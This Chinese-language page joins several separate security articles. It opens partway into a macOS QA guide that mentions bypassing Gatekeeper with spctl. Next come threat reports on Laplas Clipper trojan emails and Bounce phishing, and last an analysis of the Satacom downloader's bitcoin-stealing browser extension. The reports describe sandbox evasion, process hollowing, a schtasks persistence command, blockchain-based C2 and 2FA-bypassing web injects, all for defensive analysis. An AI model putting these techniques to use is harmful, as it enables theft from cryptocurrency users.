該設備有多種使用場景。用戶可以使用同一台計算機執行多種任務：編寫代碼、創建內容、觀看電影等。為每項任務創建單獨的用戶帳戶可以幫助根據特定的使用場景自定義設備和應用程序設置。

多種類型的用戶帳戶意味著開發人員必須測試其應用程序如何與所有帳戶配合使用。 QA 團隊應驗證具有不同訪問權限的應用程序的安裝、執行和卸載。

假設您的應用程序中有一項功能僅適用於管理員權限。要檢查此功能的工作原理，您需要首先使用管理員配置文件進行測試。然後，以標準用戶身份運行相同的功能，並且不授予應用程序所需的權限。在這種情況下，該功能將不起作用，但應用程序應該可以繼續順利運行。此外，在這種情況下，應用程序可能會顯示特殊通知，例如feature 需要管理員訪問權限。

QA 工程師應將有關此類訪問請求的信息添加到應用程序日誌中，以幫助開發團隊定位可能出現的任何問題。

2.限制屏幕時間macOS 管理員可以通過配置屏幕時間限制來限制用戶對某些應用程序的訪問。此功能允許配置計算機停機時間、應用程序限制以及內容和隱私限制。開發應用程序時，請確保您了解此功能的工作原理以及您的應用程序在屏幕時間限制下應如何運行。

您可以通過登錄新帳戶並在“系統偏好設置”中打開“屏幕時間”窗格來限制用戶屏幕時間。然後，選擇選項並打開該功能。下一步是啟用“使用屏幕時間密碼”。時間密碼是忽略屏幕時間限製或更改屏幕時間設置所需的四位數代碼。

image.png

圖6. 為用戶啟用屏幕時間限制

通過屏幕時間限制，您還可以定義哪些應用程序在特定時間段內可用。進入“停機時間”選項卡可設置系統停機時間、開啟功能並設置計劃。

image.png

圖7. 配置系統停機時間

然後，轉到“應用程序限制”首選項窗格來設置應用程序的每日時間限制。選擇一個應用程序並設置限制。當超過限制時，應用程序將被阻止。

image.png

圖8. 配置應用程序停機時間

您可以在“始終允許”選項卡中選擇在停機期間不應阻止的應用程序。

image.png

圖9. 選擇不應阻止的應用程序

此功能還允許您阻止露骨和成人內容，並為帳戶設置隱私設置。您可以在“內容和隱私”首選項窗格中執行此操作。

image.png

圖10. 配置帳戶隱私設置

如果用戶嘗試訪問被阻止的網站，他們會看到一條警告消息。僅當他們知道屏幕時間密碼時，他們才能將此網站添加到批准列表中。

當您為應用程序配置屏幕時間限制並且這些限制處於活動狀態時，用戶將看到一個陰影圖標。

image.png

圖11. 具有活動屏幕時間限制的應用程序的圖標帶有陰影

當用戶嘗試啟動被阻止的應用程序時，他們會看到有關達到時間限制的警告。此時，他們可以再獲得一分鐘的時間來完成任務，或者輸入“屏幕時間”密碼來解鎖應用程序。

macOS 應用程序開發人員在開發產品時還必須注意屏幕時間阻塞。特別是，請務必檢查：

屏幕時間可以停止您的應用程序，而不會出現任何崩潰或致命錯誤

如果用戶請求再延長一分鐘或輸入屏幕時間密碼，則可以繼續使用您的應用程序

當應用程序在停機後解除阻止時，用戶可以使用該應用程序

應用程序的計劃進程和後台進程按屏幕時間限制按預期工作

屏幕時間的內容和隱私設置中有很多不同的限制。確保檢查它們不會使您的應用程序崩潰。例如，如果您正在開發可以阻止成人網站的網絡流量過濾器，請通過內容和隱私限制對此類網站的訪問，並檢查您的應用程序的工作方式。如果您正在開發視頻內容應用程序，請限制對成人電視節目的訪問，然後嘗試在應用程序內觀看它們。如果您正在開發視頻遊戲，您可以限制對在線遊戲的訪問並嘗試在線玩。

3.使用Gatekeeper檢查開發者IDGatekeeper 是一項保護macOS 免受不受信任應用程序侵害的功能。 macOS 用戶可以在系統偏好設置的安全和隱私部分中將其係統配置為允許或阻止來源未知和可疑的應用程序的執行。

圖12. 為應用程序配置可信源

用戶可以允許其設備僅使用從App Store 下載的應用程序。它是最值得信賴的下載來源，因為Apple 會在應用程序在App Store 上發布之前對其安全性進行審查。如果應用程序有任何問題，Apple 會將其從商店中刪除。

如果用戶嘗試打開不是從App Store 下載的應用程序，他們將看到以下消息：

image.png

圖13. 嘗試啟動從不受信任的來源下載的應用程序

還有一個選項允許從App Store 和指定的開發人員啟動應用程序。在這種情況下，macOS 將檢查應用程序的開發者ID 和公證，以確保其安全。當應用程序安裝時以及每次啟動時，Gatekeeper 都會檢查證書。

如果證書無效，則無法安裝應用程序。如果已安裝的應用程序是在證書有效時編譯的，則用戶可以執行該應用程序，即使證書已過期。如果開發者ID 配置文件已過期，則無法執行應用程序。

這就是為什麼每個應用程序都應該使用開發者ID 證書進行簽名。要獲得此類證書，您必須得到Apple 的認可並成為Apple 開發者計劃的一部分。開發者ID 證書自創建之日起五年內有效，因此請務必定期更新您的開發者ID。

任何應用程序還應該經過公證才能受到macOS 的信任。 Apple 公證服務是一個自動化流程，可掃描應用程序中是否存在惡意內容。如果沒有發現問題，它會允許macOS 運行該應用程序。為了檢查公證權限，Gatekeeper 連接到Apple 數據庫並蒐索該應用程序。

如果設備允許用戶運行從已識別的開發人員處下載的應用程序，Gatekeeper 仍會顯示一條警告消息，並附有註釋，說明Apple 檢查了該設備是否存在惡意軟件，但未檢測到任何惡意軟件，並且它將允許用戶打開該應用程序。

image.png

圖14. 啟動經過Apple 驗證的第三方應用程序

如果用戶嘗試運行不受信任的應用程序，他們將看到以下消息：

image.png

圖15. 啟動不受信任的應用程序

管理員可以通過在“安全和隱私”首選項窗格中設置相應的權限來允許用戶運行不受信任的應用程序。

image.png

圖16. 允許來自不受信任來源的應用程序

當您需要測試尚未受信任的應用程序並且您不想更改安全首選項時，Gatekeeper 可能會很麻煩。您可以使用以下命令忽略Gatekeeper 安全功能：

image.png

spctl 是一個可用於與Gatekeeper 通信的應用程序。它將Anywhere選項添加到安全和隱私設置中。這意味著您將能夠執行任何應用程序。

image.png

圖17. 允許安裝任何來源的應用程序

注意：我們強烈建議您不要禁用任何安全功能，除非您確定自己在做什麼！

您可以使用以下命令驗證應用程序的開發者ID 和公證：

image.png

如果您的應用程序由有效的開發者ID 簽名並具有有效的公證，則該命令將返回消息經過公證的開發者ID和開發者的信息。例如，讓我們檢查Google Chrome 應用程序：

image.png

圖18. 檢查Google Chrome 的開發者ID 和公證

如您所見，Google Chrome 受到macOS 的信任。

如果您感興趣的應用程序是由受信任的開發人員創建的，但未經公證，您將不會在源字段中看到“已公證”一詞：

image.png

圖19. 檢查未公證應用程序的開發者ID 和公證

如果應用程序甚至沒有開發人員ID 簽名，您將看到一條無可用簽名消息：

image.png

圖20. 在沒有可信開發人員簽名的情況下檢查應用程序

在交付任何macOS 產品之前，請使用上面列出的命令檢查應用程序的開發者ID 和公證。它將幫助您的最終用戶避免啟動應用程序時可能出現的問題。您還可以從任何互聯網資源下載應用程序的安裝程序並安裝它以模擬用戶體驗。

在下篇文章中，我們將介紹管理防火牆中的外部連接、指定應用程序的隱私訪問權限、配置鑰匙串訪問等問題。

HireHackking

本週（2023年08月07日~11日），北京網際思安科技有限公司麥賽安全實驗室（MailSec Lab）觀察到大量增加的以“下訂單”為主題的Laplas Clipper木馬郵件，請各單位和企業做好相關的防護。 01背景介紹關於此批“下訂單”為主題的病毒樣本郵件，如下圖所示：

圖1. “下訂單”為主題的Laplas Clipper木馬郵件

1.jpg

該郵件通過偽造下訂單購買產品的郵件，誘導員工解壓縮郵件附件，從而釋放出惡意程序。當員工雙擊觸發程序後，該惡意程序將自動連接攻擊者搭建的惡意網站，進一步下載Laplas Clipper木馬病毒，並對員工計算機的剪切板進行監視和控制，以盜取員工的加密貨幣。

640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1木馬介紹Laplas Clipper惡意軟件是網絡安全研究人員於2022年11月首次觀察到的一種相對較新的剪貼板竊取程序。該竊取程序屬於Clipper惡意軟件家族，這是一組專門針對加密貨幣用戶的惡意程序。 Laplas Clipper通過使用正則表達式來監視受害機器的剪貼板以獲取他們的加密貨幣錢包地址。一旦該惡意軟件找到受害者的錢包地址，它就會自動將其發送給攻擊者控制的Clipper機器人，後者將生成一個相似的錢包地址並將其覆蓋到受害者機器的剪貼板中。如果受害者隨後在執行交易時嘗試使用被惡意替換後的錢包地址，結果將是欺詐性加密貨幣交易，受害者將把錢匯款給黑客。

02專家分析思安麥賽安全實驗室的專家從附件風險性、源IP地址、發件人域名、郵件頭字段、郵件內容等方面，對此郵件的風險特徵進行了詳盡的技術分析。

分析-1：下載的EXE文件640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1提前劃重點經過對EXE文件的靜態和動態分析可知，員工解壓郵件附件並點擊“PO20230808.exe”文件後會順序觸發如下惡意行為：

（1）.運行環境檢測

檢測程序是否在真實的物理機上運行？若在沙箱中運行，不觸發惡意行為。

（2）.反安全檢測

通過一些技術來破壞安全軟件的檢測。

（3）.下載Laplas Clipper木馬

連接外部的僵死控制服務器，下載木馬程序。

（4）.安裝Laplas Clipper木馬

自動安裝下載的木馬程序，並開始對員工計算機的惡意攻擊。

分析1.1. 運行環境檢測“PO20230808.exe”文件被點擊運行後，首先對程序的運行環境進行檢測，確定自身的運行環境是否安全。如果惡意程序發現自身是在虛擬環境中執行（例如：沙箱），將不運行病毒行為，從而躲避安全軟件的檢測。通過分析，實驗室專家發現了該惡意程序的如下一些躲避安全檢測的行為：

(1). 通過註冊表鍵來檢測是否安裝了常見反病毒軟件

j2.jpg

(2). 檢查適配器地址，確定網絡接口是否是為虛擬的，以確定該環境是否為虛擬機

j3.jpg

(3). 檢測是否有應用在監視和調試進程

j4.jpg

分析1.2. 反檢測/反逆向除了對運行環境進行檢驗，以躲避安全軟件的檢測外。該惡意程序在運行過程中，還通過一些技術來破壞安全軟件的檢測。

(1). 使用Process Hollowing技術進行注入

j5.jpg

(2). 在其他進程中進行內存或文件映射

j6.jpg

分析1.3. 下載Laplas Clipper木馬惡意程序運行後，通過HTTPS從攻擊者控制的下載服務器下載惡意文件，並運行。

圖2. 下載並運行Laplas Clipper木馬示例

2.jpg

圖3. 抓取到的惡意文件下載行為

3.jpg

分析1.4. 觸發惡意攻擊行為在執行的初始階段，Laplas Clipper木馬使用解密例程對一些嵌入的加密字符串進行解密。該例程首先對base64 編碼字符串進行解碼，然後使用XOR密鑰“\x3F”對其進行解密以生成密鑰、文件夾名稱、過程ID 文件和可執行文件名。

圖4. 解密字符串以獲取信息

4.jpg

圖5. 解密後的信息

5.jpg

在執行字符串解密例程之後，木馬通過使用解密的字符串“OQaXPFVvfW”創建一個文件夾，並使用另一個解密的字符串“TCOBAisZyL.exe”將自身複製到文件夾中，從而在受害者的機器上長時間運行，進行APT攻擊。木馬的絕對路徑是：

C:\Users\

Laplas Clipper木馬通過執行如下所示的schtasks命令來創建Windows 計劃任務：

cmd.exe /C schtasks /create /tn OQaXPFVvfW /tr “C:\Users\

計劃任務在受害者的機器上每分鐘週期性執行任務，持續監控受害者的剪貼板以查找加密貨幣錢包地址。當攻擊任務觸發後，它通過發送受害者的桌面名稱和用戶ID向攻擊者的Clipper bot服務器註冊受害者的機器。然後，木馬讀取受害機器的剪貼板內容，並執行正則表達式來匹配加密貨幣錢包地址。

圖6. 加密貨幣錢包地址的正則表達式

6.jpg

當識別出加密貨幣錢包地址後，木馬會將錢包地址從剪貼板發回給Clipper bot服務器。

圖7. 從剪貼板複製加密貨幣錢包地址

7.jpg

作為響應，木馬接收到一個與受害者相似的且被攻擊者控制的錢包地址，並覆蓋剪貼板中的原始加密貨幣錢包地址。在我們的分析過程中，惡意軟件將我們的虛擬以太坊錢包地址從剪貼板發送給Clipper bot服務器，然後收到了看起來與我們的原始錢包地址相似的被攻擊者控制的錢包地址。

圖8. 攻擊者生成的錢包地址

8.jpg

分析-2：源IP地址640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1提前劃重點此惡意郵件的來源IP地址被列入多達12個RBL黑名單。

通過對郵件頭字段的分析可知，該惡意郵件的來源IP地址是185.33.87.58。

圖9. 郵件頭部源IP字段展示

9.jpg

查詢覆蓋全球的91個RBL數據源，檢測結果如下。此IP地址被列入了多達12個RBL黑名單。

序列號被列為黑名單的RBL名稱1

Abusix Mail Intelligence Blacklist

2

BARRACUDA

3

Hostkarma Black

4

ivmSIP

5

ivmSIP24

6

RATS Spam

7

s5h.net

8

SORBS SPAM

9

TRUNCATE

10

UCEPROTECTL2

11

WPBL

12

ZapBL

03總結與攻擊溯源經思安麥賽安全實驗室的分析測試，我們認為此“下訂單”為主題的樣本郵件為高危郵件。總結來看，其含有的風險特徵包括：

經過靜態和動態分析，證明郵件附件為Laplas Clipper惡意軟件，用於盜取員工的加密貨幣；

此惡意郵件的來源IP地址被列入多達12個RBL黑名單。

此郵件的完整攻擊溯源圖如下所示：

圖10. 攻擊溯源圖

10.jpg

04防范建議攜帶木馬的惡意郵件是指郵件中包含木馬附件或鏈接。此類郵件可能會採用各種策略來迷惑用戶並促使他們打開附件或點擊鏈接。一旦用戶執行了這些操作，木馬病毒就會被釋放或下載到用戶的計算機上，從而導致系統被感染。木馬病毒可以允許攻擊者遠程控制受感染的計算機、竊取個人信息、損壞數據、記錄按鍵信息或啟動其他惡意活動。

要防範攜帶木馬的郵件，用戶應保持安全意識，不輕信可疑郵件，使用防病毒軟件進行掃描和檢測，並遵循如下一些安全實踐：

1. 保持警惕：對於來自陌生髮件人或不可信來源的郵件要保持警惕。如果郵件的主題、內容或附件引起您的懷疑，最好避免打開或下載附件；

2. 不隨意點擊鏈接：避免在郵件中隨意點擊鏈接，特別是來自不可信來源的鏈接。這些鏈接可能會引導您訪問惡意網站或下載木馬病毒；

3. 小心下載附件：慎重對待附件，尤其是來自未知或不可信的發件人的附件。不要輕易打開、執行或下載任何可疑的附件，因為它們可能包含木馬病毒；

4. 使用安全軟件：確保您的計算機上安裝了可靠的防病毒軟件和防火牆，並及時更新其病毒定義文件。這些工具可以幫助檢測和阻止潛在的木馬病毒；

5. 定期更新系統和程序：保持您的操作系統、電子郵件客戶端和其他應用程序的更新。這樣可以修補已知漏洞，減少被利用的風險；

6. 定期備份數據：定期備份您的重要數據，並將備份存儲在離線或安全的位置。這樣即使受到木馬病毒攻擊，您的數據也能得到恢復；

7. 培養安全意識：加強員工和自己的安全意識培訓，教育他們如何識別潛在的惡意郵件，並提醒他們不要隨意打開或執行可疑的附件；

8. 使用郵件安全防護設備：部署可靠且穩定的郵件安全網關、郵件安全沙箱等郵件安全防護設備；

9. 定期檢查安全防護設備：確保郵件安全網關、郵件安全沙箱等郵件安全防護設備的策略配置正確且生效，並確保設備的防護庫已升級到最新版本；

10. 鼓勵員工報告可疑郵件：如果收到可疑的病毒郵件，員工應及時將其報告給您的組織或相關機構，以幫助企業採取適當的行動保護其他員工；

HireHackking

概要：Bounce類釣魚郵件激增

本週（2023年7月17日~21日），思安麥賽安全實驗室觀察到大量增加的Bounce釣魚郵件，請各單位和企業做好相關的防護。

熱點描述：

關於此批Bounce釣魚郵件，如下圖所示：

圖1. Bounce釣魚郵件樣本

1.jpg

為了隱藏真實身份並躲避欲攻擊對象所在公司的郵件安全檢測，防止攻擊郵件被攔截，黑客偽造並使用目標攻擊對象的郵件地址作為發件人郵件地址，並故意將郵件投遞給一個知名公司的不存在郵件地址。因為收件人地址不存在，該知名的公司的郵件服務器會向發件人地址發送bounce退信郵件，通知該發件人郵件投遞失敗。

當被攻擊對象所在公司的郵件服務器收到bounce退信郵件後，因為該郵件來自於知名公司，所以會正常的接收該退信郵件並將郵件放置到發件人的收件箱。一旦員工打開退信郵件的附件後，將查看到黑客發送來的威脅信息：

圖2. 含威脅信息的郵件

2.jpg

專家分析：

思安麥賽安全實驗室的專家對此郵件的風險特徵進行了技術分析。

分析1：源IP地址

對bounce退信郵件的附件進行分析，根據郵件頭的指定字段可知，該惡意郵件的來源IP地址（攻擊者IP地址）是121.52.144.171。

圖3. 郵件頭部源IP字段展示

3.jpg

該IP地址位於“巴基斯坦/旁遮普邦/拉瓦爾品第”地區，網絡服務商為“HEC”。當前該IP地址下使用了“華為USG6630防火牆”和“騰達路由器”設備，說明該IP地址下的組織很大概率為一個正常運行的企業或服務商，而黑客攻陷或租用了該組織的計算機，並使用該計算機發送了Bounce攻擊郵件，而非使用私人網絡環境發起攻擊。

圖4. 該IP下的華為USG6630防火牆

4.jpg

圖5. 該IP下的騰達路由器

5.jpg

與此同時，查詢該IP地址的信譽可知，此IP地址所在的網段，曾經存在大量惡意IP地址：

圖6. 該IP網段下曾存在大量惡意IP地址

6.jpg

分析2：偽造發件人地址

攻擊者從位於巴基斯坦的計算機上，偽裝為國內某家知名公司的員工，向馬來西亞一家金融機構發送了攻擊郵件。該馬來西亞公司的郵件設備，嘗試對發件人郵件地址進行了SPF和DKIM驗證，驗證發件人地址的有效性。然而很可惜，該國內知名公司的域名並未開啟相關的郵件防偽造檢測機制。因此馬來西亞公司的郵件設備未拒絕該郵件，並因為收件人在該公司不存在，而向中國公司發出了退信郵件。

圖7. 被攻擊公司未開啟郵件防偽造機制

7.jpg

圖8. 通過了對發件人地址有效性的驗證

8.jpg

分析3：郵件攻擊鏈路溯源

經分析此郵件的完整攻擊溯源圖9如下所示：

9.jpg

總結與攻擊溯源：

經思安麥賽安全實驗室的分析測試，我們認為此“Bounce釣魚”郵件樣本含有的風險特徵包括：

攻擊起源IP地址下的組織很大概率為一個正常運行的企業或服務商，而黑客攻陷或租用了該組織的計算機，並使用該計算機發送了Bounce攻擊郵件；

攻擊起源IP地址所在的網段，曾經存在大量惡意IP地址；

攻擊者偽裝為國內某家知名公司的員工發送郵件，該中國公司的域名並未開啟相關的郵件防偽造檢測機制；

郵件正文內容中含比特幣、匯款、賬戶等敏感詞彙。

防范建議：

Bounce釣魚郵件是一種郵件攻擊手段，通常用於隱蔽地向攻擊目標發送惡意內容，而避免直接暴露攻擊者的郵件地址，並躲避被攻擊目標組織的郵件安全檢測。

要防範Bounce釣魚郵件應遵循如下一些安全實踐：

1. 本域名郵件地址驗證：實施SPF、DKIM和DMARC等發件人驗證技術，從而幫助第三方組織驗證郵件的真實來源；

2. 警惕緊急情況：釣魚郵件常常試圖製造緊急情況，以迫使受害者匆忙採取行動。要保持冷靜，不要受到威脅或誘惑；

3. 使用郵件安全防護設備：部署可靠且穩定的郵件安全網關、郵件安全沙箱等郵件安全防護設備；

4. 定期檢查安全防護設備：確保郵件安全防護設備的策略配置正確且生效，並確保設備的防護庫已升級到最新版本；

5. 培養安全意識：加強員工和自己的安全意識培訓，教育他們如何識別潛在的惡意郵件，並提醒他們不要隨意打開可疑的附件；

6. 鼓勵員工報告可疑郵件：如果收到可疑郵件，員工應及時將其報告給您的組織或相關機構，以幫助企業採取適當的行動保護其他員工；

7. 驗證財務交易：如果收到涉及財務交易的電子郵件，避免通過郵件直接響應。相反，通過銀行官方網站、銀行櫃檯、財務部同事等安全渠道來驗證交易。

8. 防止個人和郵件信息洩露：盡量不要在公開的論壇、社交媒體或不受信任的網站上洩露個人和郵件信息。攻擊者可能會利用這些信息來製作更具針對性的釣魚郵件；

麥賽安全實驗室（MailSec Lab）介紹：

北京網際思安科技有限公司麥賽郵件安全實驗室（MailSec Lab）依託於網際思安過去12年積累的郵件威脅數據，匯集了一批10+工作經驗的行業專家，專注於新型郵件威脅的調研，和下一代郵件安全技術的創新性研究。在過去十多年中，MailSec Lab服務於3000+家各個行業領域的典範客戶，獲得客戶的廣泛讚譽。與此同時，實驗室積極與國際和國內知名信息安全廠商合作，廣泛開展威脅情報互換、共同研究等合作，構建共同防禦的威脅防護體系。

HireHackking

abstract_binary_connection-1200x600.jpgSatacom下載程序，也稱為LegionLoader，是2019年出現的一個著名的惡意軟件家族。該惡意軟件利用查詢DNS服務器的技術獲取base64編碼的URL，以便接收當前由Satacom傳播的另一惡意軟件家族的下一階段。 Satacom惡意軟件通過第三方網站傳播，其中一些網站本身不提供Satacom，而是使用合法的廣告插件，攻擊者濫用這些插件將惡意廣告注入網頁。網站上的惡意鏈接或廣告將用戶重定向到惡意網站，如虛假的文件共享服務。

我們將在本文介紹最近與Satacom下載程序相關的惡意軟件傳播活動。 Satacom下載程序釋放的惡意軟件的主要目的是通過對目標加密貨幣網站進行web注入，從受害者的賬戶中竊取比特幣。該惡意軟件試圖通過為基於Chromium的網絡瀏覽器安裝擴展來實現這一點，該瀏覽器隨後與C2服務器通信，其地址存儲在比特幣交易數據中。

該惡意擴展具有各種JS腳本，用於在用戶瀏覽目標網站時執行瀏覽器操作，包括枚舉和對加密貨幣網站的操作。它還能夠操作一些電子郵件服務的外觀，如Gmail、Hotmail和雅虎，以隱藏其與電子郵件中顯示的受害者加密貨幣的活動。

Satacom技術分析最初的攻擊始於ZIP壓縮文件。它是從一個似乎模仿軟件門戶的網站下載的，該網站允許用戶免費下載他們想要的（通常是破解的）軟件。該壓縮包包含幾個合法DLL和一個惡意Setup.exe文件，用戶需要手動執行這些文件才能啟動攻擊鏈。

各種類型的網站被用來傳播惡意軟件。其中一些是帶有硬編碼下載鏈接的惡意網站，而另一些則通過合法的廣告插件注入了“下載”按鈕。在這種情況下，即使是合法的網站也可能在網頁上顯示惡意的“下載”鏈接。在撰寫本文時，我們看到QUADS插件被濫用來傳播Satacom。

1.png

帶有嵌入式QUADS廣告插件的網站

該插件被濫用的方式與其他廣告網絡被濫用惡意廣告的方式相同：攻擊者推廣看起來像“下載”按鈕的廣告，並將用戶重定向到攻擊者的網站。

2.png

WP QUADS廣告插件內的網站的內容

用戶點擊下載按鈕或鏈接後，會有一系列重定向，自動引導他們通過各種服務器到達偽裝成文件共享服務的網站，以傳播惡意軟件。在下面的截屏中，我們可以看到作為重定向鏈最終目的地的網站示例。

3.png

虛假“文件共享”服務

用戶下載並提取大約7MB大小的ZIP文件後，會顯示一些二進製文件、EXE和DLL文件。 DLL是合法的庫，但“Setup.exe”文件是惡意二進製文件。它大約是450MB，但是填充了大量空字節，使其更難以分析。未添加空字節的文件的原始大小約為5MB，它是一個Inno-Setup類型的文件。

4.png

添加到PE文件的空字節

Inno-Setup安裝程序通常是這樣的：在運行時，二進製文件將子安裝程序提取到一個名為“Setup.tmp”的臨時文件夾中。然後，它運行子安裝程序“Setup.tmp”文件，該文件需要與主安裝程序通信，參數指向原始“Setup.exe”及其包的位置，以便檢索用於下一步安裝的“Setup.exe”文件。

對於Satacom安裝程序來說，Setup.tmp文件一旦運行，就會在Temp目錄中創建一個新的PE DLL文件。創建DLL後，子安裝程序將其進行自我加載，並從DLL運行一個函數。

然後，它解密Satacom的有效負載，並創建一個新的“explorer.exe”子進程，以便將惡意軟件注入“explorer.exe”進程。

由此，研究人員可以得出結論，惡意軟件在遠程“explorer.exe”進程上執行一種常見的進程注入技術，稱為進程空心化（process hollowing）。這是一種用於逃避檢測的技術。

注入“explorer.exe”進程的惡意負載使用RC4加密實現來解密其配置數據，通信字符串以及受害者設備上其他釋放的二進製文件的數據，加密的數據存儲在惡意負載中。

惡意軟件在每一步都使用不同的硬編碼密鑰來解密數據。惡意軟件使用四個不同的RC4密鑰來執行其操作，首先解密HEX字符串數據，將其用於其初始通信目的。

5.png

RC4密鑰（左圖）和加密的HEX字符串（右圖）

在上面的截屏中，左側窗格將四個RC4硬編碼密鑰顯示為HEX字符串，在右側窗格中，我們可以看到使用RC4“config_strings”密鑰解密的HEX字符串以獲得用於與C2通信的第一次初始化的字符串。如果我們自己使用密鑰解密字符串，我們會得到截屏中顯示的結果。

一旦HEX字符串被解密，“explorer.exe”將啟動其第一次通信。為此，它通過Google DNS（8.8.8.8，另一個解密的字符串）執行對don-DNS[.]com（解密的HEX字符串）的DNS請求，並查詢TXT記錄。

6.png

通過谷歌在don-dns[.]com上查詢TXT記錄

一旦請求完成，DNS TXT記錄將作為另一個base64編碼的RC4加密字符串“ft/gGGt4vm96E/jp”接收。由於我們擁有所有的RC4密鑰，我們可以嘗試使用“dns_RC4_key”解密字符串，並獲得另一個URL。這個URL是有效負載的實際下載位置。

7.png

TXT記錄的解密字符串

有效負載：惡意瀏覽器擴展Satacom下載程序將各種二進製文件下載到受害者的設備上。在本次活動中，研究人員觀察到一個PowerShell腳本正在下載，該腳本安裝了一個惡意的基於Chromium的瀏覽器擴展，該擴展針對Google Chrome、Brave和Opera。

擴展安裝腳本負責從第三方網站服務器下載ZIP壓縮文件中的擴展。 PowerShell腳本將壓縮文件下載到計算機的Temp目錄，然後將其提取到Temp目錄中的文件夾中。

之後，腳本將在“桌面”、“快速啟動”和“開始菜單”等位置搜索每個目標瀏覽器的快捷方式的可能位置。它還配置瀏覽器安裝文件的位置和擴展插件在計算機上的位置。

最後，PS腳本將依次搜索上述位置的任何鏈接（.LNK）文件，並修改所有現有瀏覽器快捷方式的“Target”參數，標記為“-load extension=[pathOfExtension]”，以便快捷方式加載安裝了惡意擴展的瀏覽器。

8.png

帶有擴展參數的Chrome快捷方式

執行此操作後，腳本將關閉設備上可能運行的任何瀏覽器進程，以便受害者下次打開瀏覽器時，擴展程序將加載到瀏覽器中，並在用戶瀏覽互聯網時運行。

這種擴展安裝技術允許攻擊者在不知情的情況下將插件添加到受害者的瀏覽器中，而無需將其上傳到官方擴展商店，如Chrome商店，該商店要求插件滿足商店的要求。

9.png

擴展安裝PowerShell腳本

惡意擴展分析安裝擴展後，我們可以通過檢查存儲在擴展目錄中的特定文件來分析其功能和特性。如果我們看一下'manifest.json'文件的第一行，我們會發現擴展插件通過將插件命名為“Google Drive”來偽裝自己，所以即使用戶訪問瀏覽器插件，他們也只能看到一個名為“Google Drive”的插件，它看起來就像是安裝在瀏覽器中的另一個標準Google擴展插件。

10.png

manifest.json文件設置

當用戶瀏覽時，另一個總是在後台運行的惡意擴展文件是“background.js”，它負責初始化與C2的通信。如果我們仔細查看JavaScript代碼，我們會在腳本底部發現一個有趣的函數調用，其中包含一個字符串變量，該變量是比特幣錢包的地址。

11.png

Background.js腳本片段

查看腳本的代碼，我們可以得出結論，擴展將從硬編碼的URL中獲取另一個字符串，腳本將比特幣地址插入其中。 JavaScript接收JSON格式的數據，顯示錢包的交易活動，然後在最新的交易詳細信息中查找特定的字符串。

12.png

詳細JSON

頁面上有兩個字符串，其中包含C2地址。 “script”字符串是包含惡意軟件C2主機的HEX字符串，“addr”字符串是Base58編碼的C2地址。使用特定錢包的最後一筆加密貨幣交易來檢索C2地址的原因是，攻擊者可以隨時更改服務器地址。此外，這種技巧使禁用惡意軟件與其C2服務器的通信變得更加困難，因為禁用錢包比阻止或禁止IP或域要困難得多。如果C2服務器被阻止或關閉，攻擊者可以通過執行新事務將“script”或“addr”字符串更改為不同的C2服務器。由於擴展總是檢查這些字符串來檢索C2，因此如果它發生了更改，它總是會請求新的字符串。

13.png

從交易明細中解碼C2地址

該擴展有幾個其他腳本，它們負責初始化接收到的命令，並在檢索到C2地址後發揮作用，因為這些腳本需要從C2獲得一些重要信息。例如，C2保存比特幣地址，當比特幣從受害者的錢包轉移到攻擊者的錢包時將使用該地址。

14.png

攻擊者的比特幣錢包地址

為了獲得受害者的加密貨幣，攻擊者在目標網站上使用web注入。 web注入腳本也是C2在擴展與之聯繫後提供的。在下面的截屏中，我們可以看到來自擴展的“injections.js”腳本，它從C2服務器獲取web注入腳本。

15.png

injections.js腳本

在插件與C2服務器聯繫後，服務器會使用將在目標網站上使用的web注入腳本進行響應。

16.png

C2服務器的Webinject腳本

如果我們仔細看一下腳本，就可以看到攻擊者針對的是各種網站。在上面顯示的腳本版本中，我們可以看到它針對的是Coinbase, Bybit, KuCoin, Huobi和Binance用戶。

由於C2中的腳本可以隨時更改，攻擊者可以添加或刪除其他web注入目標，也可以開始以比特幣以外的加密貨幣為目標，這使得該擴展非常動態，並允許攻擊者通過更改腳本來控制惡意擴展。

查看腳本，我們可以看到擴展在目標網站上執行各種操作。例如，它能夠檢索受害者的地址、獲取賬戶信息、繞過2FA等等。此外，它能夠將比特幣從受害者的錢包轉移到攻擊者的錢包。

17.png

web注入腳本中的函數

查看完整的web注入腳本，我們可以得出結論，其思路是從安裝了惡意擴展的受害者那裡竊取比特幣。該擴展程序對賬戶執行各種操作，以便使用web注入腳本遠程控制賬戶，最終該擴展程序試圖將比特幣提取到攻擊者的錢包中。為了規避交易的雙因素身份驗證設置，web注入腳本使用了針對此保護技術的繞過技術。

18.png

從web注入腳本中提取比特幣函數的代碼段

在竊取加密貨幣之前，擴展程序與C2服務器進行通信，以獲得最小比特幣值。然後，它將這個值與目標錢包中的實際金額進行比較。如果錢包中包含的加密貨幣少於C2收到的最低金額，則不會從中提取任何加密貨幣。

19.png

C2的最小金額

在竊取比特幣之前，該腳本還執行其他幾項檢查。例如，它還檢查比特幣與美元的匯率。當目標錢包中的比特幣金額符合C2檢查時，腳本執行取款功能，從受害者那裡竊取比特幣。

20.png

執行餘額檢查

除了竊取比特幣之外，惡意擴展還會執行其他操作來隱藏其活動。

例如，惡意擴展包含針對三種不同電子郵件服務的腳本：Gmail、Hotmail和Yahoo，其思路是隱藏惡意擴展執行的交易的電子郵件確認。

一旦受害者到達電子郵件服務的頁面，每個腳本都會對電子郵件進行可視化更改。它搜索預定義的電子郵件標題和內容，當找到它們時，它只需通過將HTML代碼注入郵件正文來向受害者隱藏它們。因此，受害者不知道進行了將加密貨幣轉移到攻擊者錢包的特定交易。

21.png

針對Gmail的擴展JS

此外，該擴展程序可以操作目標網站的電子郵件線程。因此，如果受害者從Binance等網站打開一個線程，它可以更改電子郵件的內容，並顯示一個看起來與真實電子郵件線程完全相似的虛假電子郵件線程。它還包含所需字符串的佔位符，擴展插件可以將這些字符串注入到消息頁面的內容中。

22.png

偽造電子郵件線程模板

惡意擴展有許多其他JavaScript，它能夠執行其他操作。例如，它可以通過瀏覽器提取信息，如係統信息、cookie、瀏覽器歷史記錄、打開的選項卡的截屏，甚至可以接收來自C2服務器的命令。

23.png

JavaScript：從C2（左圖）請求命令並進行截屏（右圖）

